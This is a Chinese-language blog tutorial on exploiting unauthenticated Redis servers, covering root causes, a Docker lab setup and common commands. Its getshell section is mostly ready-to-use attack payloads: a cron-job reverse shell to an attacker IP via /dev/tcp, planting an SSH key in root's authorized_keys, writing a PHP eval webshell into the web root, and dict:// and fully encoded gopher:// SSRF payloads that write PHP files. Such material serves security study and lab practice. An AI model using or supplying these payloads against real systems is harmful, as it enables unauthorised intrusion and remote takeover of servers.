Redis(未授权)

redis

原理

Redis 本身是一个高性能的键值数据库,默认设计用于可信内网环境,早期版本和默认配置没有开启认证、也没有访问控制。如果 Redis 被直接暴露在公网且未设置密码/访问控制,攻击者可以不经认证直接连接 Redis 服务器并执行任意命令,从而导致系统被完全控制。


🟥 一、漏洞产生的根本原因

  1. 无认证机制(默认)
    • Redis 默认不要求登录,也不强制配置 requirepass。
    • 任何人只要能访问到 6379 端口,就能直接执行 SET/GET/CONFIG/SLAVEOF 等高权限命令。
  2. 缺乏访问控制
    • Redis 默认监听 0.0.0.0:6379,即所有网卡地址。
    • 未配置 bind 127.0.0.1 和 protected-mode yes,导致公网可直接访问。
  3. 命令权限过高
    • Redis 没有细粒度权限控制,一旦接入就拥有完全控制权(读写任意数据、修改配置、加载模块等)。

环境搭建

docker设置代理

1、在 Docker 的配置文件中设置代理

编辑 Docker 配置文件 /etc/systemd/system/docker.service.d/http-proxy.conf(如果没有该文件,您可以手动创建它)

1
2
sudo mkdir -p /etc/systemd/system/docker.service.d
sudo vim /etc/systemd/system/docker.service.d/http-proxy.conf

2、将以下内容添加到文件中,设置正确的代理地址

1
2
3
4
[Service]
Environment="HTTP_PROXY=http://主节点IP:7890"
Environment="HTTPS_PROXY=http://主节点IP:7890"
Environment="NO_PROXY=localhost,127.0.0.1"

查看镜像中的Redis

1
docker search redis

拉取镜像

1
docker pull redis:6.0.8

Redis常见的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info # 查看相关redis信息
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
INCR score # 使用INCR命令将score的值增加1
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
mset k1 v1 k2 v2 k3 v3 #批量设置键值对
mget k1 k2 k3 #批量获取键值对
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";

Redis 配置文件参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
port参数:
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.47.173 10.0.0.1,表允许192.168.47.173和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

getshell方法

计划任务反弹shell

利用工具redis-ctl连接并查看相关信息为4.0.2版本

设置计划任务

1
2
3
4
set x "\n* * * * * bash -i >& /dev/tcp/192.168.32.115/4000 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

复现失败

写ssh公钥

首先我们需要在攻击机上生成ssh公钥和私钥,密码设置为空

ssh-keygen -t rsa

将公钥写入key.txt当中(文件名无限制)

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt

导入内容(防止乱码)

cat key.txt| redis-cli -h 192.168.32.210 -x set putsshkey

1
2
3
4
5
6
#设置路径
config set dir /root/.ssh
#设置文件名
config set dbfilename authorized_keys
#保存key值到root文件中
save

写入webshell远程连接服务器

1
2
3
4
5
6
7
8
#设置木马
set xxx "\n\n<?php eval($_GET['x']);?>\n\n"
#然后修改路径为网站默认路径
config set dir /var/www/html
#设置文件名
config set dbfilename shell.php
#最后save保存进去
save

利用条件

1
2
3
4
知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。)
无需是 root 起的 Redis
可适用于 Windows(非 ssh 连接)
一般无需 flushall 清空数据库(一定情况下也需要)

主从复制

1
2
3
4
5
6
7
8
9
#在从机上设置主机
127.0.0.1:6380> slaveof 127.0.0.1 6381
OK
#在主机上设置键值对
127.0.0.1:6381> set sean sheep
OK
#在从机上获取键值对
127.0.0.1:6380> get sean
"sheep"
1
2
3
4
5
6
7
8
9
#先设置好保存的路径和保存的文件名
dict://192.168.33.134:6379/slaveof:192.168.33.131:6379
dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot
dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
#然后进入主机进行主从复制操作,方法和上面的一样
127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"
#再去web端执行save操作
dict://192.168.33.134:6379/save
#这样数据直接回同步到目标机,从而写入文件

SSRF+Redis未授权

gopher协议

gopher协议和dict协议一样需要使用redis内置的命令进行文件写入,只是payload更加复杂

我这里就用写入webshell来演示

下面这些是我们需要执行的命令

1
2
3
4
5
flushall
set 1 '<?php phpinfo();?>'
config set dir /tmp
config set dbfilename shell.php
save

这里我使用的是 https://github.com/firebroo/sec_tools 工具

将上述执行的命令写入redis.cmd中

保存好后执行python2 redis-over-gopher.py

生成payload后,若在在bp中还需要将payload再进行一次url编码

1
2
3
4
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%30%0d%0a

gopher://127.0.0.1:6379/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%250d%250a%2531%250d%250a%2524%2531%2538%250d%250a%253c%253f%2570%2568%2570%2520%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2534%250d%250a%252f%2574%256d%2570%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2539%250d%250a%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2530%250d%250a


Redis(未授权)
https://ledraw.github.io/2025/09/22/Redis-未授权/
作者
Ledraw
发布于
2025年9月22日
许可协议